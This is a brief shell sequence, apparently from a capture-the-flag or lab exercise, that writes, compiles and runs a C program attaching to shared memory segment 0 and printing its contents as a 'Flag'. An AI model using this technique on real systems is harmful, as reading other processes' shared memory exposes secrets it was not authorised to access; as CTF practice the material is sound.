cd /tmp

touch read_shm.c

cat > read_shm.c << 'EOF'
#include <stdio.h>
#include <sys/shm.h>

int main() {
    int shmid = 0;
    char *data = shmat(shmid, NULL, 0);
    if (data == (char *)-1) {
        perror("shmat");
        return 1;
    }
    printf("Flag: %s\n", data);
    shmdt(data);
    return 0;
}
EOF

gcc read_shm.c -o read_shm
./read_shm